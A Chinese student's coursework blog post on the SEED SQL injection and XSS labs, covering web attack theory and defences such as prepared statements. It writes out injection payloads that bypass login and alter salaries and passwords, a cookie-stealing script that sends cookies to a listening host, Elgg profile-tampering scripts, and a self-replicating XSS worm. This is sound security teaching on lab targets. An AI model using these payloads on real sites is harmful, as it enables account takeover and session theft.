20199107hxx

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

20199107 2019-2020-2 《网络攻防实践》第11周作业

这个作业属于哪个课程 《网络攻防实践》
这个作业的要求在哪里 《网络攻防实践》第11次作业
我在这个课程的目标是 学习新知识、考试拿高分
这个作业在哪个具体方面帮助我实现目标 学习web攻防知识
作业正文 见下文
其他参考文献 见文末

1.实践内容

Web应用程序体系结构及其安全威胁

  • Web应用体系结构
    B/S结构,浏览器作为“瘦”客户端完成数据显示与展示渲染功能,“胖”服务器完成主要完成业务计算处理,两者通过http/https协议通信
    服务器由web服务器软件、web应用程序和后端数据库组成,并通过经典的三层架构(表示层、业务逻辑层、数据层)进行组织和构建
    Web应用体系结构的关键组件:

    • 浏览器:用http/https协议、html语言和web服务器交互,功能多样但新功能也会引入新薄弱点

    • web服务器:作为http守护程序,接收客户端(浏览器)对资源的请求并交给web应用程序执行,将执行响应返回给客户端,同时还引入了对web动态编程语言的支持

    • web应用程序:现代web应用的核心,服务器端的业务逻辑处理,普遍应用三层体系结构:

      • 表示层:接受Web客户端的输入并显示结果

      • 业务逻辑层:从表示层接受输入并完成某些工作,可能需要数据层的协作,再将结果送回表示层

      • 数据层:以数据库或本地文件的形式,提供非易失的信息存储

    • 数据库:也被称为“后台”,web应用存储数据的地方

    • 传输协议http/https:http即超文本传输协议,默认使用80端口,使用统一资源标识符(URI)对各种资源定义,并通过请求/响应在客户端和服务器之间传输资源

  • web应用安全威胁

威胁 例子
针对浏览器和终端用户的web浏览安全威胁 网页木马、网站钓鱼等
针对传输层的网络协议安全威胁 针对http明文传输的敏感信息监听、假冒身份攻击、拒绝服务攻击等
系统层安全威胁 针对web站点的宿主操作系统的攻击,例如曾经学过的针对Windows、Linux的攻击
web服务器软件安全威胁 针对web服务器软件例如IIS、Apache等
web应用程序安全威胁 SQL注入、XSS等
web数据安全威胁 针对web应用程序后台存储或客户输入数据的窃取、篡改等

web应用安全攻防技术概述

  • web应用的信息搜集:搜集域名、IP、虚拟IP、端口与开放服务及版本、安全漏洞等,技术手法包括:

    • 手工审查Web应用程序结构与源代码:

      • 静态和动态生成的页面:查看注释、命名规则,找是否隐含用户口令、SQL语句等敏感信息

      • 目录结构:管理员目录、旧版本目录、备份目录等

      • 辅助性文件:CSS级联样式表、XML样式表、JavaScript文件等

      • 输入表单:提交数据的方法、表单处理行为、输入字段名称、长度限制、隐藏字段、完成标记等

      • 查询参数字符串:数据表字段名称、会话标识符、用户名或口令字段等

    • 自动下载与镜像web页面

    • Google hacking技术审查与探测web应用程序

    • web应用程序安全评估与漏洞审查,常用工具

      • 面向web应用程序分析、调试和安全检查的浏览器插件

      • 开源web应用安全评估工具集

      • 商业web应用安全评估系统和漏洞扫描器

  • 攻击web服务器软件,web服务器平台安全漏洞主要有以下几类:

    • 数据驱动的远程代码执行安全漏洞:缓冲区溢出、不安全指针、格式化字符串等攻击

    • 服务器功能扩展模块漏洞:针对功能扩展模块的漏洞进行攻击

    • 样本文件安全漏洞:样本文件由于编写仓促或是功能新奇会带来新的漏洞

    • 源代码泄露:能让人直接看到web服务器源代码的漏洞

    • 资源解析攻击:攻击将同一资源的不同表示形式解析为它的标准化名称的过程

  • 攻击web应用程序

    • 针对认证机制的攻击

    • 授权机制的攻击

    • 客户端攻击

    • 命令执行攻击

    • 信息暴露

    • 逻辑攻击

  • 攻击web数据内容

    • 安全敏感数据泄露

      • web服务器存在目录遍历漏洞或不安全的目录文件枚举配置

      • 利用上传目录的临时中转文件

      • 在web站点公开的资料中包含个人隐私、企业秘密

    • 网站篡改

    • 不良信息内容上传

  • web应用安全防范措施

    • Web站点网络传输安全设防措施

      • 尽量使用https

      • 通过加密的连接通道(SSH、SFTP等)管理站点

      • 对关键web服务器,设置静态MAC-IP映射

    • Web站点操作系统及服务安全设防措施

      • 及时打补丁

      • 及时扫描并修复漏洞

      • 一般性措施:关闭不必要的端口、避免明文传输、使用强口令、配置防火墙、数据备份等

    • Web应用程序安全设防措施

      • 谨慎考虑是否使用动态内容

      • 使用声誉良好有稳定技术支持的软件包

      • 只在必要时自主或外包开发web应用

      • 使用日志

    • Web站点数据安全设防措施:提高网站维护人员的安全意识、做好日常监测和防护

SQL注入攻击

  • 原理:用户输入没有被正确地过滤,以消除SQL语言中的 ' " ; % # --等,或没有进行严格的类型判断,使得用户可以执行非预期的SQL语句

  • 步骤和过程:

    • (1)发现SQL注入点:找到某些用于生成SQL语句访问数据库的参数

    • (2)判断后台数据库类型:尝试构造SQL语句,利用各数据库系统变量或系统表的不同,判断服务器数据库类型(例如是MySql、ACCESS、MS SQL等)

    • (3)后台数据库管理员用户口令字猜解:猜测表名、猜测字段名、猜测用户名和口令

    • (4)上传ASP后门,得到默认账户权限:破解管理员用户名和口令后,找出后台管理界面并登陆,上传ASP后门

    • (5)本地权限提升

    • (6)利用数据库扩展存储过程执行shell命令:若当前数据库连接支持类似MS SQL Server中xp_cmdshell扩展存储过程,且有DBMS最高权限,则可以跳过(3)至(5)直接调用shell

  • 防范措施:

    • 使用类型安全(type-safe)的参数编码机制

    • 凡是来自外部的用户输入,必须进行完备检查

    • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象

    • 加强SQL数据库服务器的配置与连接

XSS跨站脚本攻击

全称为(Cross Site Scripting)因为首字母和层叠样式表CSS冲突了,所以叫XSS。

  • 原理:与SQL不同,XSS跨站脚本攻击的目标不是Web应用程序而是使用Web应用程序的用户。因为最新的浏览器普遍支持各种脚本,攻击者利用web程序的安全漏洞,可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析并执行这些插入的代码

  • 类型:根据所攻击的漏洞造成的影响分为两种

    • 持久性XSS漏洞:可以让用户输入持久保持在web服务器端,让访问被攻击页面的用户受影响,常见于留言本、BBS、博客等

    • 非持久性(反射)XSS漏洞:http请求或web表单提供的数据,立刻被用于生成一个返回给用户的结果页面,但缺乏正确过滤

  • 防范措施:

    • 服务器端

      • 输入验证:验证输入是否过长,是否有非法字符等

      • 输出净化:将用户输入提交到响应页面前,用HTMLEncode()等方法处理,将一些特殊字符作为页面内容而非结构

      • 消除危险输入点:例如尽量避免在现有JavaScript中插入用户可控制的数据

    • 客户端:提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读、使用非主流的安全浏览器

2.实践过程

SEED SQL注入实验

  • 使用虚拟机为SEED Ubuntu 16.04

哪怕是故意做出来的简单靶子页面,要自己去猜也是很花时间的,所以直接分析
用命令mysql -u root -p登录mysql的root用户,密码seedubuntu
show databases;查看数据库,use Users;使用Users数据库
show tables;查看数据库中的表,只有一张表,select * from credential;可查看表内容,用以验证之后的攻击是否成功

  • 对SELECT语句进行sql注入攻击

web页面的攻击
打开火狐浏览器,进入www.SEEDLabSQLInjection.com,尝试登录,使用F12查看发现请求的页面为unsafe_home.php

接下来可以分析网页源代码,在/var/www/SQLInjection可以找到该页面,用vim unsafe_home.php查看该页面的源代码
从中可以发现用户的口令大概是用sha1保护的,连接数据库时的就直接是root了,

可以看到查询语句如图

可以构造sql语句,在用户名输入admin'##用于mysql的注释,此时,查询语句将查找表中用户名为admin的结果,即可以登录用户名为admin的账号,结果如图

命令行的攻击
要利用curl工具(利用URL规则在命令行下工作的文件传输工具),输入命令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'其中 '#要转义,可以和前面一样的登陆admin,只是显示的是网页源代码

追加新的SQL语句
可以通过;分结束前一个语句再加上后一个语句,但是因为MySql的对策会阻止php调用多个语句的执行所以不能成功

  • 对UPDATE语句进行sql注入攻击

修改你的工资
把登录的账号从admin改成alice,因为要改“自己”的工资,在Edit Profile页可以修改个人信息,可知此处应该会有UPDATE语句,通过和前面一样的操作找到网页unsafe_edit_backend.php查看源代码

构造sql语句,在昵称输入',salary='66666' where name='Alice'; #即可

修改其他人的工资
只要将后面的条件改了就可以改其他人的工资,在alice的页面就可以,例如在昵称输入',salary='233' where name='Boby'; #

修改其他人的口令
还是类似的操作,将salary字段改成password,同时根据上面的分析使用sha1计算摘要保护,在昵称输入', password=sha1('233') where name='Boby';#,用echo -n '233'|sha1sum计算摘要验证结果、

  • 采用预处理语句作为防护措施

php会看不会写,参考班里的大佬的代码

    $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
    FROM credential
    WHERE name= ? and Password= ?");//预处理语句,留两个占位符给用户名和密码
    $sql->bind_param("ss", $input_uname, $hashed_pwd);//将两个占位符和变量input_uname,hashed_pwd绑定,类型限定为字符串
    $sql->execute();
    $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
    $sql->fetch();
    $sql->close();

使用预处理后,用户的输入将被视为一个字段值而不是sql语句处理,因此可以防止例如前面的注入攻击
此时再用前面的方法登录就不会成功了

但还可以正常地用账号Boby口令233登录

  • 预防措施
    用内建的安全插件HTMLawed禁止部分代码块的执行
    或使用PHP的内建函数htmlspecialchars转义HTML代码中的一些符号

SEED XSS攻击实验

实验页面www.xsslabelgg.com/,所在路径/var/www/XSS/Elgg/
使用账号:

username password
Alice seedalice
Boby seedboby
  • 恶意弹窗警告

在Edit profile页面将<script>alert('XSS');</script>填入Brief description栏

保存,每次打开Alice的profile页都会弹窗

  • 恶意弹窗显示Cookies

cookies是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据,弹窗仍然使用alert即可,可以通过<script> alert(document.cookie);</script>实现

  • 窃取他人的Cookies

在上一步中弹窗显示的cookies只有用户本人可以看到,如果是攻击者想窃取到其他人的Cookies,可以用<script>document.write('<img src=http://192.168.200.6:5555?c=' + escape(document.cookie) + ' >');</script>
保存后每当有人访问Alice的profile页,该代码就会让受害者尝试向192.168.200.6(本机IP)的5555端口请求图片,而受害者的cookies也被包含在这一请求当中
用nc工具监听端口nc -l 5555 -v,-l也指定监听TCP连接,-v输出更详细的信息

  • 成为受害者的好友

为了成功混入受害者的好友列表,首先了解一下添加好友具体会发送什么样的信息,因此再开一个浏览器登录一下Boby账号,随便写个blog,在切换回Alice,尝试通过这个blog添加Boby
添加前用F12查看,观查发送的请求,发现请求的方式为POST,其中有三个参数friend、__elgg_ts、__elgg_tokenfriend是要添加为好友的id

根据请求构造XSS攻击脚本,然而并不会js,使得访问Boby的profile页的人自动加其为好友,因为其他地方输入长度限制,在About me处编辑,但要用edit HTML模式防止字符转义

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

为了试验,先解除Alice和Boby的好友关系,再用Alice访问Boby的profile页
虽然看到我加我自己这种操作,基本可以确定脚本生效了,但还是用Alice验证一下

  • 修改受害者信息

和上一个类似,查看修改信息时发送的请求,构造攻击脚本,同样参考大佬的代码
修改Alice的About me,除了Alice本人,访问Alice的profile的人将遭到攻击

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
  
        var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

        var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	  
	var samyGuid=44;    
	if(elgg.session.user.guid!=samyGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

Boby访问后攻击效果如图

  • XSS蠕虫攻击

前面已经实现了修改他人About me功能,现在只要该代码将自身复制到别人到的About me就是一个蠕虫了,还是要继续参考大佬的代码

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

Boby访问Alice的profile页后,Boby的About me也被蠕虫感染了

3.学习中遇到的问题及解决

  • 问题1:既不会php,也不会js
  • 问题1解决方案:参考大佬的博客,百度
  • 问题2:一直找不到怎么加好友,换账号又会马上同步登陆状态
  • 问题2解决方案:最后终于发现要通过留一个blog加好友

4.实践总结

sql语句还好,以前学过数据库,算是比较熟悉。php和js都是基本不会,看看还行,写web页面是完全不会,只能参考大佬的博客一边看一边百度了

5.其他参考文献

  • 《网络攻防技术与实践》(诸葛建伟著)
  • 大佬博客链接:910191029114
posted on 2020-05-13 21:30  20199107hxx  阅读(181)  评论(0编辑  收藏  举报